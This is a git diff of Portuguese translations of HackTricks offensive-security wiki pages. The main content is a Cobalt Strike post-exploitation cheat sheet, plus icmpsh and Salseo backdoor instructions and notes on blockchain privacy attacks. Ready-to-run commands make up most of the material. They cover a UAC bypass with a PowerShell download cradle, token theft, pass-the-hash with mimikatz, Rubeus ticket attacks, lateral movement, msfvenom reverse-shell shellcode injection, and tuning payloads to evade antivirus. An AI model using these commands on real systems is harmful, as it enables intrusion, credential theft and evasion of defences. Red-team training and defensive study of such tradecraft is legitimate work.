{% endhint %} -# Cargas Básicas +# Payloads Básicos -* **Lista Simples:** Apenas uma lista contendo uma entrada em cada linha. +* **Lista Simples:** Apenas uma lista contendo uma entrada em cada linha * **Arquivo em Tempo de Execução:** Uma lista lida em tempo de execução (não carregada na memória). Para suportar listas grandes. -* **Modificação de Caixa:** Aplicar algumas alterações a uma lista de strings (Sem alteração, para minúsculas, para MAIÚSCULAS, para Nome Próprio - Primeira letra maiúscula e o restante em minúsculas -, para Nome Próprio - Primeira letra maiúscula e o restante permanece o mesmo -. -* **Números:** Gerar números de X a Y usando um passo Z ou aleatoriamente. -* **Força Bruta:** Conjunto de caracteres, comprimento mínimo e máximo. +* **Modificação de Caso:** Aplique algumas mudanças a uma lista de strings (Sem mudança, para minúsculas, para MAIÚSCULAS, para Nome Próprio - Primeiro capitalizado e o resto em minúsculas-, para Nome Próprio - Primeiro capitalizado e o resto permanece o mesmo-). +* **Números:** Gere números de X a Y usando Z passos ou aleatoriamente. +* **Brute Forcer:** Conjunto de caracteres, comprimento mínimo e máximo. -[https://github.com/0xC01DF00D/Collabfiltrator](https://github.com/0xC01DF00D/Collabfiltrator) : Carga útil para executar comandos e obter a saída via solicitações DNS para burpcollab. +[https://github.com/0xC01DF00D/Collabfiltrator](https://github.com/0xC01DF00D/Collabfiltrator) : Payload para executar comandos e capturar a saída via solicitações DNS para burpcollab. {% embed url="https://medium.com/@ArtsSEC/burp-suite-exporter-462531be24e" %} @@ -30,16 +30,16 @@ Aprenda e pratique GCP Hacking: [**Treinamento HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Aprenda e pratique GCP Hacking: [**Treinamento HackTricks GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Aprenda e pratique Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Aprenda e pratique Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Apoie o HackTricks +Support HackTricks -* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! -* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! +* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
{% endhint %} diff --git a/c2/cobalt-strike.md b/c2/cobalt-strike.md index 02fe11898..257ed20e1 100644 --- a/c2/cobalt-strike.md +++ b/c2/cobalt-strike.md @@ -2,47 +2,47 @@ ### Listeners -### Ouvintes C2 +### C2 Listeners -`Cobalt Strike -> Listeners -> Add/Edit` e você pode selecionar onde ouvir, qual tipo de beacon usar (http, dns, smb...) e mais. +`Cobalt Strike -> Listeners -> Add/Edit` então você pode selecionar onde escutar, que tipo de beacon usar (http, dns, smb...) e mais. -### Ouvintes Peer2Peer +### Peer2Peer Listeners -Os beacons desses ouvintes não precisam se comunicar diretamente com o C2, eles podem se comunicar com ele por meio de outros beacons. +Os beacons desses listeners não precisam se comunicar diretamente com o C2, eles podem se comunicar através de outros beacons. -`Cobalt Strike -> Listeners -> Add/Edit` e você precisa selecionar os beacons TCP ou SMB +`Cobalt Strike -> Listeners -> Add/Edit` então você precisa selecionar os beacons TCP ou SMB -* O **beacon TCP definirá um ouvinte na porta selecionada**. Para se conectar a um beacon TCP, use o comando `connect ` de outro beacon -* O **beacon smb ouvirá em um nome de pipe com o nome selecionado**. Para se conectar a um beacon SMB, você precisa usar o comando `link [target] [pipe]`. +* O **beacon TCP irá configurar um listener na porta selecionada**. Para conectar a um beacon TCP use o comando `connect ` de outro beacon +* O **beacon smb irá escutar em um pipename com o nome selecionado**. Para conectar a um beacon SMB você precisa usar o comando `link [target] [pipe]`. -### Gerar e hospedar payloads +### Generate & Host payloads -#### Gerar payloads em arquivos +#### Generate payloads in files `Attacks -> Packages ->` * **`HTMLApplication`** para arquivos HTA -* **`MS Office Macro`** para um documento do Office com uma macro +* **`MS Office Macro`** para um documento do office com uma macro * **`Windows Executable`** para um .exe, .dll ou serviço .exe * **`Windows Executable (S)`** para um **stageless** .exe, .dll ou serviço .exe (melhor stageless do que staged, menos IoCs) -#### Gerar e hospedar payloads +#### Generate & Host payloads -`Attacks -> Web Drive-by -> Scripted Web Delivery (S)` Isso gerará um script/executável para baixar o beacon do cobalt strike em formatos como: bitsadmin, exe, powershell e python +`Attacks -> Web Drive-by -> Scripted Web Delivery (S)` Isso irá gerar um script/executável para baixar o beacon do cobalt strike em formatos como: bitsadmin, exe, powershell e python -#### Hospedar payloads +#### Host Payloads -Se você já tem o arquivo que deseja hospedar em um servidor web, basta ir para `Attacks -> Web Drive-by -> Host File` e selecionar o arquivo para hospedar e a configuração do servidor web. +Se você já tem o arquivo que deseja hospedar em um servidor web, basta ir em `Attacks -> Web Drive-by -> Host File` e selecionar o arquivo para hospedar e a configuração do servidor web. -### Opções do Beacon +### Beacon Options -
# Executar binário .NET local
+
# Execute local .NET binary
 execute-assembly </path/to/executable.exe>
 
-# Capturas de tela
-printscreen    # Tirar uma única captura de tela via método PrintScr
-screenshot     # Tirar uma única captura de tela
-screenwatch    # Tirar capturas de tela periódicas da área de trabalho
+# Screenshots
+printscreen    # Tire uma única captura de tela via método PrintScr
+screenshot     # Tire uma única captura de tela
+screenwatch    # Tire capturas de tela periódicas da área de trabalho
 ## Vá para View -> Screenshots para vê-las
 
 # keylogger
@@ -50,7 +50,7 @@ keylogger [pid] [x86|x64]
 ## View > Keystrokes para ver as teclas pressionadas
 
 # portscan
-portscan [pid] [arch] [targets] [ports] [arp|icmp|none] [max connections] # Injetar ação de portscan dentro de outro processo
+portscan [pid] [arch] [targets] [ports] [arp|icmp|none] [max connections] # Injete a ação de portscan dentro de outro processo
 portscan [targets] [ports] [arp|icmp|none] [max connections]
 
 # Powershell
@@ -58,12 +58,12 @@ portscan [targets] [ports] [arp|icmp|none] [max connections]
 powershell-import C:\path\to\PowerView.ps1
 powershell <apenas escreva o comando powershell aqui>
 
-# Impersonação de usuário
+# User impersonation
 ## Geração de token com credenciais
-make_token [DOMAIN\user] [password] #Criar token para se passar por um usuário na rede
+make_token [DOMAIN\user] [password] #Crie um token para se passar por um usuário na rede
 ls \\computer_name\c$ # Tente usar o token gerado para acessar C$ em um computador
 rev2self # Pare de usar o token gerado com make_token
-## O uso de make_token gera o evento 4624: Uma conta foi conectada com êxito. Este evento é muito comum em um domínio do Windows, mas pode ser reduzido filtrando o tipo de logon. Como mencionado acima, ele usa LOGON32_LOGON_NEW_CREDENTIALS que é o tipo 9.
+## O uso de make_token gera o evento 4624: Uma conta foi logada com sucesso. Este evento é muito comum em um domínio Windows, mas pode ser restringido filtrando pelo Tipo de Logon. Como mencionado acima, ele usa LOGON32_LOGON_NEW_CREDENTIALS que é do tipo 9.
 
 # UAC Bypass
 elevate svc-exe <listener>
@@ -73,42 +73,134 @@ runasadmin uac-cmstplua powershell.exe -nop -w hidden -c "IEX ((new-object net.w
 ## Roubar token de pid
 ## Como make_token, mas roubando o token de um processo
 steal_token [pid] # Além disso, isso é útil para ações de rede, não ações locais
-## A partir da documentação da API, sabemos que esse tipo de logon "permite que o chamador clone seu token atual". É por isso que a saída do Beacon diz Impersonated <current_username> - está se passando pelo nosso próprio token clonado.
+## Da documentação da API sabemos que este tipo de logon "permite que o chamador clone seu token atual". É por isso que a saída do Beacon diz Impersonated <current_username> - está se passando pelo nosso próprio token clonado.
 ls \\computer_name\c$ # Tente usar o token gerado para acessar C$ em um computador
 rev2self # Pare de usar o token de steal_token
 
-## Iniciar processo com novas credenciais
+## Lançar processo com novas credenciais
 spawnas [domain\username] [password] [listener] #Faça isso a partir de um diretório com acesso de leitura como: cd C:\
-## Como make_token, isso gerará o evento do Windows 4624: Uma conta foi conectada com êxito, mas com um tipo de logon de 2 (LOGON32_LOGON_INTERACTIVE). Ele detalhará o usuário chamador (TargetUserName) e o usuário se passando (TargetOutboundUserName).
+## Como make_token, isso gerará o evento Windows 4624: Uma conta foi logada com sucesso, mas com um tipo de logon de 2 (LOGON32_LOGON_INTERACTIVE). Ele detalhará o usuário chamador (TargetUserName) e o usuário impersonado (TargetOutboundUserName).
 
-## Injetar em processo
+## Injete no processo
 inject [pid] [x64|x86] [listener]
-## Do ponto de vista do OpSec: Não execute injeção entre plataformas, a menos que realmente precise (por exemplo, x86 -> x64 ou x64 -> x86).
+## Do ponto de vista de OpSec: Não realize injeção entre plataformas a menos que realmente precise (por exemplo, x86 -> x64 ou x64 -> x86).
 
-## Passar o hash
-## Este processo de modificação requer a correção da memória LSASS, que é uma ação de alto risco, requer privilégios de administrador local e não é muito viável se o Protected Process Light (PPL) estiver habilitado.
+## Pass the hash
+## Este processo de modificação requer patching da memória do LSASS, o que é uma ação de alto risco, requer privilégios de administrador local e não é tão viável se o Protected Process Light (PPL) estiver habilitado.
 pth [pid] [arch] [DOMAIN\user] [NTLM hash]
 pth [DOMAIN\user] [NTLM hash]
 
-## Passar o hash através do mimikatz
+## Pass the hash através do mimikatz
 mimikatz sekurlsa::pth /user:<username> /domain:<DOMAIN> /ntlm:<NTLM HASH> /run:"powershell -w hidden"
-## Sem /run, mimikatz gera um cmd.exe,
+## Sem /run, o mimikatz gera um cmd.exe, se você estiver executando como um usuário com Desktop, ele verá o shell (se você estiver executando como SYSTEM, você está tranquilo)
+steal_token <pid> #Roubar token do processo criado pelo mimikatz
+
+## Pass the ticket
+## Solicitar um ticket
+execute-assembly C:\path\Rubeus.exe asktgt /user:<username> /domain:<domain> /aes256:<aes_keys> /nowrap /opsec
+## Crie uma nova sessão de logon para usar com o novo ticket (para não sobrescrever o comprometido)
+make_token <domain>\<username> DummyPass
+## Escreva o ticket na máquina do atacante a partir de uma sessão poweshell & carregue-o
+[System.IO.File]::WriteAllBytes("C:\Users\Administrator\Desktop\jkingTGT.kirbi", [System.Convert]::FromBase64String("[...ticket...]"))
+kerberos_ticket_use C:\Users\Administrator\Desktop\jkingTGT.kirbi
+
+## Pass the ticket do SYSTEM
+## Gere um novo processo com o ticket
+execute-assembly C:\path\Rubeus.exe asktgt /user:<USERNAME> /domain:<DOMAIN> /aes256:<AES KEY> /nowrap /opsec /createnetonly:C:\Windows\System32\cmd.exe
+## Roube o token daquele processo
+steal_token <pid>
+
+## Extrair ticket + Pass the ticket
+### Listar tickets
+execute-assembly C:\path\Rubeus.exe triage
+### Dump insteresting ticket by luid
+execute-assembly C:\path\Rubeus.exe dump /service:krbtgt /luid:<luid> /nowrap
+### Crie uma nova sessão de logon, anote luid e processid
+execute-assembly C:\path\Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe
+### Insira o ticket na sessão de logon gerada
+execute-assembly C:\path\Rubeus.exe ptt /luid:0x92a8c /ticket:[...base64-ticket...]
+### Finalmente, roube o token daquele novo processo
+steal_token <pid>
+
+# Lateral Movement
+## Se um token foi criado, ele será usado
+jump [method] [target] [listener]
+## Métodos:
+## psexec                    x86   Use um serviço para executar um artefato Service EXE
+## psexec64                  x64   Use um serviço para executar um artefato Service EXE
+## psexec_psh                x86   Use um serviço para executar uma linha de comando PowerShell
+## winrm                     x86   Execute um script PowerShell via WinRM
+## winrm64                   x64   Execute um script PowerShell via WinRM
+
+remote-exec [method] [target] [command]
+## Métodos:
+## psexec                          Execução remota via Service Control Manager
+## winrm                           Execução remota via WinRM (PowerShell)
+## wmi                             Execução remota via WMI
+
+## Para executar um beacon com wmi (não está no comando jump) basta fazer upload do beacon e executá-lo
+beacon> upload C:\Payloads\beacon-smb.exe
+beacon> remote-exec wmi srv-1 C:\Windows\beacon-smb.exe
+
+
+# Pass session to Metasploit - Through listener
+## No host do metaploit
+msf6 > use exploit/multi/handler
+msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_http
+msf6 exploit(multi/handler) > set LHOST eth0
+msf6 exploit(multi/handler) > set LPORT 8080
+msf6 exploit(multi/handler) > exploit -j
+
+## No cobalt: Listeners > Add e defina o Payload para Foreign HTTP. Defina o Host para 10.10.5.120, a Porta para 8080 e clique em Salvar.
+beacon> spawn metasploit
+## Você só pode gerar sessões Meterpreter x86 com o listener estrangeiro.
+
+# Pass session to Metasploit - Through shellcode injection
+## No host do metasploit
+msfvenom -p windows/x64/meterpreter_reverse_http LHOST=<IP> LPORT=<PORT> -f raw -o /tmp/msf.bin
+## Execute msfvenom e prepare o listener multi/handler
+
+## Copie o arquivo bin para o host do cobalt strike
+ps
+shinject <pid> x64 C:\Payloads\msf.bin #Injete o shellcode do metasploit em um processo x64
+
+# Pass metasploit session to cobalt strike
+## Gere shellcode Beacon stageless, vá para Attacks > Packages > Windows Executable (S), selecione o listener desejado, selecione Raw como o tipo de saída e selecione Use x64 payload.
+## Use post/windows/manage/shellcode_inject no metasploit para injetar o shellcode gerado do cobalt strike
+
+
+# Pivoting
+## Abra um proxy socks no teamserver
+beacon> socks 1080
+
+# SSH connection
+beacon> ssh 10.10.17.12:22 username password
+ +## Avoiding AVs + +### Artifact Kit + +Geralmente em `/opt/cobaltstrike/artifact-kit` você pode encontrar o código e templates pré-compilados (em `/src-common`) dos payloads que o cobalt strike irá usar para gerar os beacons binários. + +Usando [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck) com a backdoor gerada (ou apenas com o template compilado) você pode descobrir o que está fazendo o defender disparar. Geralmente é uma string. Portanto, você pode apenas modificar o código que está gerando a backdoor para que essa string não apareça no binário final. + +Após modificar o código, basta executar `./build.sh` a partir do mesmo diretório e copiar a pasta `dist-pipe/` para o cliente Windows em `C:\Tools\cobaltstrike\ArtifactKit`. ``` pscp -r root@kali:/opt/cobaltstrike/artifact-kit/dist-pipe . ``` -Não se esqueça de carregar o script agressivo `dist-pipe\artifact.cna` para indicar ao Cobalt Strike para usar os recursos do disco que queremos e não os carregados. +Não se esqueça de carregar o script agressivo `dist-pipe\artifact.cna` para indicar ao Cobalt Strike que use os recursos do disco que queremos e não os que estão carregados. ### Kit de Recursos A pasta ResourceKit contém os modelos para os payloads baseados em script do Cobalt Strike, incluindo PowerShell, VBA e HTA. -Usando o [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck) com os modelos, você pode descobrir o que o defensor (AMSI neste caso) não está gostando e modificá-lo: +Usando [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck) com os modelos, você pode descobrir o que o defensor (AMSI neste caso) não gosta e modificá-lo: ``` .\ThreatCheck.exe -e AMSI -f .\cobaltstrike\ResourceKit\template.x64.ps1 ``` -Modificar as linhas detectadas pode gerar um modelo que não será detectado. +Modificando as linhas detectadas, pode-se gerar um template que não será pego. -Não se esqueça de carregar o script agressivo `ResourceKit\resources.cna` para indicar ao Cobalt Strike para usar os recursos do disco que queremos e não os carregados. +Não se esqueça de carregar o script agressivo `ResourceKit\resources.cna` para indicar ao Cobalt Strike que use os recursos do disco que queremos e não os que foram carregados. ```bash cd C:\Tools\neo4j\bin neo4j.bat console diff --git a/c2/icmpsh.md b/c2/icmpsh.md index 7d694c90f..09551d1a1 100644 --- a/c2/icmpsh.md +++ b/c2/icmpsh.md @@ -1,25 +1,26 @@ {% hint style="success" %} -Aprenda e pratique Hacking AWS: [**Treinamento HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Aprenda e pratique Hacking GCP: [**Treinamento HackTricks GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Aprenda e pratique Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Aprenda e pratique Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Suporte ao HackTricks -* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! -* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) no github. +* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! +* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Compartilhe truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
{% endhint %} -Baixe o backdoor em: [https://github.com/inquisb/icmpsh](https://github.com/inquisb/icmpsh) -# Lado do Cliente +Baixe o backdoor de: [https://github.com/inquisb/icmpsh](https://github.com/inquisb/icmpsh) + +# Lado do cliente Execute o script: **run.sh** -**Se você receber algum erro, tente alterar as linhas:** +**Se você receber algum erro, tente mudar as linhas:** ```bash IPINT=$(ifconfig | grep "eth" | cut -d " " -f 1 | head -1) IP=$(ifconfig "$IPINT" |grep "inet addr:" |cut -d ":" -f 2 |awk '{ print $1 }') @@ -31,21 +32,21 @@ read IP ``` # **Lado da Vítima** -Faça o upload do **icmpsh.exe** para a vítima e execute: +Faça o upload de **icmpsh.exe** para a vítima e execute: ```bash icmpsh.exe -t -d 500 -b 30 -s 128 ``` {% hint style="success" %} -Aprenda e pratique AWS Hacking: [**HackTricks Treinamento AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Aprenda e pratique GCP Hacking: [**HackTricks Treinamento GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Aprenda e pratique Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Aprenda e pratique Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Suporte ao HackTricks -* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! -* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! +* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
{% endhint %} diff --git a/c2/salseo.md b/c2/salseo.md index d35653d3e..2e50a0626 100644 --- a/c2/salseo.md +++ b/c2/salseo.md @@ -1,16 +1,16 @@ # Salseo {% hint style="success" %} -Aprenda e pratique Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Aprenda e pratique Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks -* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! -* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github. +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %} @@ -23,7 +23,7 @@ Compile esses projetos para a arquitetura da máquina Windows onde você vai us Você pode **selecionar a arquitetura** dentro do Visual Studio na **aba "Build" à esquerda** em **"Platform Target".** -(\*\*Se você não conseguir encontrar essas opções, clique na **"Project Tab"** e depois em **"\ Properties"**) +(\*\*Se você não encontrar essas opções, clique na **"Project Tab"** e depois em **"\ Properties"**) ![](<../.gitbook/assets/image (839).png>) @@ -33,7 +33,7 @@ Então, construa ambos os projetos (Build -> Build Solution) (Dentro dos logs ap ## Prepare o Backdoor -Primeiro de tudo, você precisará codificar o **EvilSalsa.dll.** Para isso, você pode usar o script python **encrypterassembly.py** ou pode compilar o projeto **EncrypterAssembly**: +Primeiro de tudo, você precisará codificar o **EvilSalsa.dll.** Para fazer isso, você pode usar o script python **encrypterassembly.py** ou pode compilar o projeto **EncrypterAssembly**: ### **Python** ``` @@ -47,11 +47,11 @@ EncrypterAssembly.exe EvilSalsax.dll password evilsalsa.dll.txt ``` Ok, agora você tem tudo o que precisa para executar toda a coisa do Salseo: o **EvilDalsa.dll codificado** e o **binário do SalseoLoader.** -**Faça o upload do binário SalseoLoader.exe para a máquina. Eles não devem ser detectados por nenhum AV...** +**Faça o upload do binário SalseoLoader.exe para a máquina. Eles não devem ser detectados por nenhum antivírus...** ## **Executar o backdoor** -### **Obtendo um shell reverso TCP (baixando dll codificada através de HTTP)** +### **Obter um shell reverso TCP (baixando dll codificada através de HTTP)** Lembre-se de iniciar um nc como o ouvinte do shell reverso e um servidor HTTP para servir o evilsalsa codificado. ``` @@ -114,7 +114,7 @@ Apenas **saia** do Visual Studio Em seguida, vá para sua **pasta SalseoLoader** e **execute DllExport\_Configure.bat** -Selecione **x64** (se você for usá-lo dentro de uma caixa x64, esse foi o meu caso), selecione **System.Runtime.InteropServices** (dentro de **Namespace para DllExport**) e pressione **Aplicar** +Selecione **x64** (se você for usá-lo dentro de uma caixa x64, esse foi o meu caso), selecione **System.Runtime.InteropServices** (dentro de **Namespace for DllExport**) e pressione **Aplicar** ![](<../.gitbook/assets/image (882).png>) @@ -178,7 +178,7 @@ Aprenda e pratique Hacking GCP: {% endhint %} diff --git a/crypto-and-stego/blockchain-and-crypto-currencies.md b/crypto-and-stego/blockchain-and-crypto-currencies.md index 391276ca4..6cb6e2da2 100644 --- a/crypto-and-stego/blockchain-and-crypto-currencies.md +++ b/crypto-and-stego/blockchain-and-crypto-currencies.md @@ -1,14 +1,14 @@ {% hint style="success" %} -Aprenda e pratique Hacking AWS:[**Treinamento HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Aprenda e pratique Hacking GCP: [**Treinamento HackTricks GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Apoie o HackTricks +Support HackTricks -* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! -* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %} @@ -16,145 +16,145 @@ Aprenda e pratique Hacking GCP: 4 btc 3 btc 1 btc ``` -Se adicionar mais inputs faz com que a mudança de saída seja maior do que qualquer input único, pode confundir a heurística. +Se adicionar mais entradas faz com que a saída de troco seja maior do que qualquer entrada única, isso pode confundir a heurística. -## **Reutilização Forçada de Endereços** +## **Reutilização Forçada de Endereço** -Os atacantes podem enviar pequenas quantias para endereços usados anteriormente, esperando que o destinatário combine essas com outros inputs em transações futuras, vinculando assim os endereços. +Os atacantes podem enviar pequenas quantias para endereços já utilizados, na esperança de que o destinatário combine essas quantias com outras entradas em transações futuras, ligando assim os endereços. ### Comportamento Correto da Carteira -As carteiras devem evitar usar moedas recebidas em endereços vazios já usados para evitar essa exposição de privacidade. +As carteiras devem evitar usar moedas recebidas em endereços já utilizados e vazios para prevenir essa vazamento de privacidade. ## **Outras Técnicas de Análise de Blockchain** -- **Quantias de Pagamento Exatas:** Transações sem troco provavelmente são entre dois endereços pertencentes ao mesmo usuário. -- **Números Redondos:** Um número redondo em uma transação sugere um pagamento, sendo o output não redondo provavelmente o troco. -- **Identificação de Carteira:** Diferentes carteiras têm padrões únicos de criação de transações, permitindo aos analistas identificar o software usado e potencialmente o endereço de troco. -- **Correlações de Quantia e Tempo:** Divulgar horários ou quantias de transação pode tornar as transações rastreáveis. +- **Quantias de Pagamento Exatas:** Transações sem troco são provavelmente entre dois endereços pertencentes ao mesmo usuário. +- **Números Redondos:** Um número redondo em uma transação sugere que é um pagamento, com a saída não redonda provavelmente sendo o troco. +- **Impressão Digital de Carteira:** Diferentes carteiras têm padrões únicos de criação de transações, permitindo que analistas identifiquem o software utilizado e potencialmente o endereço de troco. +- **Correlações de Quantidade e Tempo:** Divulgar horários ou quantias de transações pode tornar as transações rastreáveis. ## **Análise de Tráfego** -Ao monitorar o tráfego de rede, os atacantes podem potencialmente vincular transações ou blocos a endereços IP, comprometendo a privacidade do usuário. Isso é especialmente verdadeiro se uma entidade operar muitos nós Bitcoin, aumentando sua capacidade de monitorar transações. +Ao monitorar o tráfego da rede, os atacantes podem potencialmente vincular transações ou blocos a endereços IP, comprometendo a privacidade do usuário. Isso é especialmente verdadeiro se uma entidade operar muitos nós Bitcoin, aumentando sua capacidade de monitorar transações. ## Mais -Para uma lista abrangente de ataques e defesas de privacidade, visite [Privacidade do Bitcoin na Bitcoin Wiki](https://en.bitcoin.it/wiki/Privacy). - +Para uma lista abrangente de ataques à privacidade e defesas, visite [Privacidade do Bitcoin na Bitcoin Wiki](https://en.bitcoin.it/wiki/Privacy). # Transações Anônimas de Bitcoin -## Formas de Obter Bitcoins de Forma Anônima +## Maneiras de Obter Bitcoins Anonimamente -- **Transações em Dinheiro**: Adquirir bitcoin em dinheiro. +- **Transações em Dinheiro**: Adquirir bitcoin através de dinheiro. - **Alternativas em Dinheiro**: Comprar cartões-presente e trocá-los online por bitcoin. -- **Mineração**: O método mais privado para ganhar bitcoins é através da mineração, especialmente quando feita sozinha, pois os pools de mineração podem conhecer o endereço IP do minerador. [Informações sobre Pools de Mineração](https://en.bitcoin.it/wiki/Pooled_mining) -- **Roubo**: Teoricamente, roubar bitcoin poderia ser outro método para adquiri-lo de forma anônima, embora seja ilegal e não recomendado. +- **Mineração**: O método mais privado para ganhar bitcoins é através da mineração, especialmente quando feito sozinho, pois pools de mineração podem conhecer o endereço IP do minerador. [Informações sobre Pools de Mineração](https://en.bitcoin.it/wiki/Pooled_mining) +- **Roubo**: Teoricamente, roubar bitcoin poderia ser outro método para adquiri-lo anonimamente, embora seja ilegal e não recomendado. ## Serviços de Mistura -Ao usar um serviço de mistura, um usuário pode **enviar bitcoins** e receber **bitcoins diferentes em troca**, o que torna difícil rastrear o proprietário original. No entanto, isso requer confiança no serviço para não manter logs e realmente devolver os bitcoins. Opções alternativas de mistura incluem cassinos de Bitcoin. +Ao usar um serviço de mistura, um usuário pode **enviar bitcoins** e receber **bitcoins diferentes em troca**, o que dificulta o rastreamento do proprietário original. No entanto, isso requer confiança no serviço para não manter registros e realmente devolver os bitcoins. Opções alternativas de mistura incluem cassinos de Bitcoin. ## CoinJoin -**CoinJoin** mescla várias transações de diferentes usuários em uma só, complicando o processo para quem tenta associar inputs com outputs. Apesar de sua eficácia, transações com tamanhos de input e output únicos ainda podem ser potencialmente 